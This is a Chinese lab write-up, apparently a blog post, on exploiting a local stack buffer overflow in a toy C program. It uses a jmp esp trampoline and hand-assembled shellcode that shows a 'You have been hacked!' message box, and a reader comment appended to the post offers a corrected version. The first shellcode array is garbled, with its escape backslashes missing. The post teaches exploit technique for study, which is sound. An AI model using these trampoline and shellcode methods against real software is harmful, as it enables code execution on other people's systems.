缓冲区溢出漏洞攻击——Shellcode编写

一、实验内容

利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”

二、实验原理

因为输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址,而在该地址处又有有效的指令,那么系统就会毫不犹豫地跳到该地址处去执行指令。

本次实验中用到了跳板(jmp esp)

image

由于操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

如果在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置。这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。

跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dll,ntdll.dll,这两个动态链接库是Windows程序默认加载的。而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!

OllyDBG命令: 
- F8 单步执行 
- F2 设置断点 
- F7 进入函数 
- F9 运行到断点 
- Ctrl g 打开地址

三、实验体会

i春秋老师讲解得非常中肯,形象生动,解决了困扰我多时的疑惑。虽然感觉这次步骤多、工程大、用时久,但终究还是解决了困扰我多时的疑惑,比一个人默默看博客要好理解得多。

从前只会用msf生成现成的shellcode,并不懂得其中原理,而这次实验不同,从源码进行分析,手动编写C语言、汇编语言,亲眼见证了shellcode机器码如何生成,加深了对windows系统API库函数、函数调用堆栈、程序逆向的理解,收获颇丰。

本次实验只是本地缓冲区溢出漏洞利用,如何远程利用漏洞,开启shell,还值得进一步学习。

参考资料: 
- i春秋《缓冲区溢出分析》 
http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

四、过程记录

1、带有漏洞的程序

#include "stdio.h"
#include "string.h"
char name[] = "jiangwe";
int main()
{
 char buffer[8];
 strcpy(buffer, name);
 printf("%s",buffer);
 getchar();
 return 0;
}
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

2、漏洞利用

(1)选取跳板

如何让程序跳转到esp的位置呢?我们这里可以使用jmp esp这条指令。jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在user32.dll中查找这条指令的地址(当然,jmp esp在很多动态链接库中都存在,这里只是以user32.dll作为例子):

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
        BYTE *ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if(!handle)
        {
                printf("load dll error!");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position]==0xFF && ptr[position+1]==0xE4)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n", address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
        getchar();
        return 0;
}
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38

image

可以看到,这里列出了非常多的结果。(我自己动手敲的时候VC链接报错,于是直接使用i春秋的图)。我们随便取出一个结果用于实验。这里我选择的是倒数第二行的0x77e35b79。也就是说,需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。

至此可以先总结一下即将要编写的“name”数组中的内容,经过分析可以知道,其形式为AAAAAAAAAAAAXXXXSSSS……SSSS。其中前12个字符为任意字符,XXXX为返回地址,这里我使用的是0x77e35b79,而SSSS是想要让计算机执行的代码。

(2)获取shellcode中API函数的地址

下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{ 
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32");
        //获取user32.dll的地址
        printf("user32 = 0x%x", LibHandle);
        //获取MessageBoxA的地址
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x", ProcAdd);
        getchar();
        return 0;
}
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

image

(3)编写汇编代码

将写汇编之前必要的信息罗列一下:

image

最终的汇编代码:

int main()
{
 _asm{
  sub esp,0x50  //抬高栈帧
  xor ebx,ebx   //清零
  push ebx     // 分割字符串

  push 0x20676e69   
  push 0x6e726157    // push "Warning"
  mov eax,esp   //用eax存放“Warning”的指针

  push ebx             // 分割字符串  
  push 0x2020292e
  push 0x592e4a20
  push 0x79622821
  push 0x64656b63
  push 0x6168206e
  push 0x65656220
  push 0x65766168
  push 0x20756f59   // push "You have been hacked!(by Jwm)"
  mov ecx,esp      //用ecx存放该字符串的指针    

  push ebx
  push eax
  push ecx
  push ebx   //MessageBox函数参数依次入栈
  mov eax,0x77d507ea
  call eax        // call MessageBox
  push ebx  //ExitProcess函数参数入栈
  mov eax, 0x7c81cafa
  call eax       // call ExitProcess
 }
 return 0;
}
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

(4)得到shellcode机器码

在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击Disassembly,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):

image

抽取出这些机器码,写入漏洞程序的数组中:

#include <windows.h>
#include <stdio.h>
#include <string.h>
char name[] = "x41x41x41x41x41x41x41x41"  // name[0]~name[7]
     "x41x41x41x41"                      // to Overlap EBP
     "x79x5bxe3x77"                      // Return Address(Address of "Jmp eax")
     "x83xECx50"                           // sub esp,0x50
     "x33xDB"                                // xor ebx,ebx
     "x53"                                     // push ebx
     "x68x69x6Ex67x20"
     "x68x57x61x72x6E"                  // push "Warning"
     "x8BxC4"                                 // mov eax,esp
     "x53"                                      // push ebx
     "x68x2Ex29x20x20"
     "x68x20x4Ax2Ex59"
     "x68x21x28x62x79"
     "x68x63x6Bx65x64"
     "x68x6Ex20x68x61"
     "x68x20x62x65x65"
     "x68x68x61x76x65"
     "x68x59x6Fx75x20"   // push "You have been hacked!(by Jwm)"
     "x8BxCC"                        // mov ecx,esp
     "x53"                          // push ebx
     "x50"                          // push eax
     "x51"                          // push ecx
     "x53"                          // push ebx
     "xB8xeax07xd5x77"               
     "xFFxD0"             // call MessageBox
     “x53”
     “xB8xFAxCAx81x7C”
     "xFFxD0";            // call MessageBox

int main()
{
 char buffer[8];
 strcpy(buffer, name);
 printf("%s",buffer);
 getchar();
 return 0;
}
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

最终成果达到漏洞利用:

当输入回车,main执行完getchar(),即将退出时,跳转到修改过的返回地址,随即通过跳板执行当前ESP指向的指令(即Shellcode)

image

3、OllyDBG验证

image

明显看出name[]数组时怎样溢出、覆盖的。

==================================================================================
看了那么多文章这篇是收获最大的,但是里面出现了很多错误(或者说笔误),按照上面的代码弹不出来messagebox,我对这个程序进行了小改动,如下:
// test2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

// jmp esp 0x75e18c25
// MessageBoxA 0x7607fdae
// ExitProcess 0x75e079b0

typedef void(*MYPROC)(LPTSTR);

char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]
"\x41\x41\x41\x41"                      // to Overlap EBP
"\x25\x8c\xe1\x75"                      // Return Address(Address of "Jmp eax")
"\x83\xEC\x50"                           // sub esp,0x50
"\x33\xDB"                                // xor ebx,ebx
"\x53"                                     // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"                  // push "Warning"
"\x8B\xC4"                                 // mov eax,esp
"\x53"                                      // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by Jwm)"
"\x8B\xCC"                        // mov ecx,esp
"\x53"                          // push ebx
"\x50"                          // push eax
"\x51"                          // push ecx
"\x53"                          // push ebx
"\xB8\xae\xfd\x07\x76"
"\xFF\xD0"             // call MessageBox
"\x53"
"\xB8\xb0\x79\xe0\x75"
"\xFF\xD0";            // call ExitProcess

void fun1()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32");
	//获取user32.dll的地址
	printf("user32 = 0x%x \n", LibHandle);
	//获取MessageBoxA的地址
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	printf("MessageBoxA = 0x%x \n", ProcAdd);
}

__declspec(noinline) void fun2()
{
	char buffer[8];
	strcpy(buffer, name);

	cout << buffer;
	//printf("最终 buff : %x \n", buffer);
	__asm mov eax,eax
}

int _tmain(int argc, _TCHAR* argv[])
{
	__asm mov eax, eax

	fun1();
	fun2();

	__asm mov ebx, ebx

	getchar();

	return 0;
}

注意:
1.要用release编译,debug编译之后strcpy只会自动生成校验代码,检测程序溢出,导致溢出失败
2.必须加载user32.dll,应为要调用MessageBox这个API,不加载其动态连接库怎么调用?
3.要使用 __declspec(noinline),否则使用release编译之后两个函数都会内联,强制不内敛就行了
4.fun2函数必须使用buff(最起码输出一下),要不编译器一看没人使用,直接回忽略掉这个缓冲区
5.可悲的是注意了这么多细节,最后结果依然是在执行shellcode之初时程序奔溃,不过我们也从此明白了溢出原理,







  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值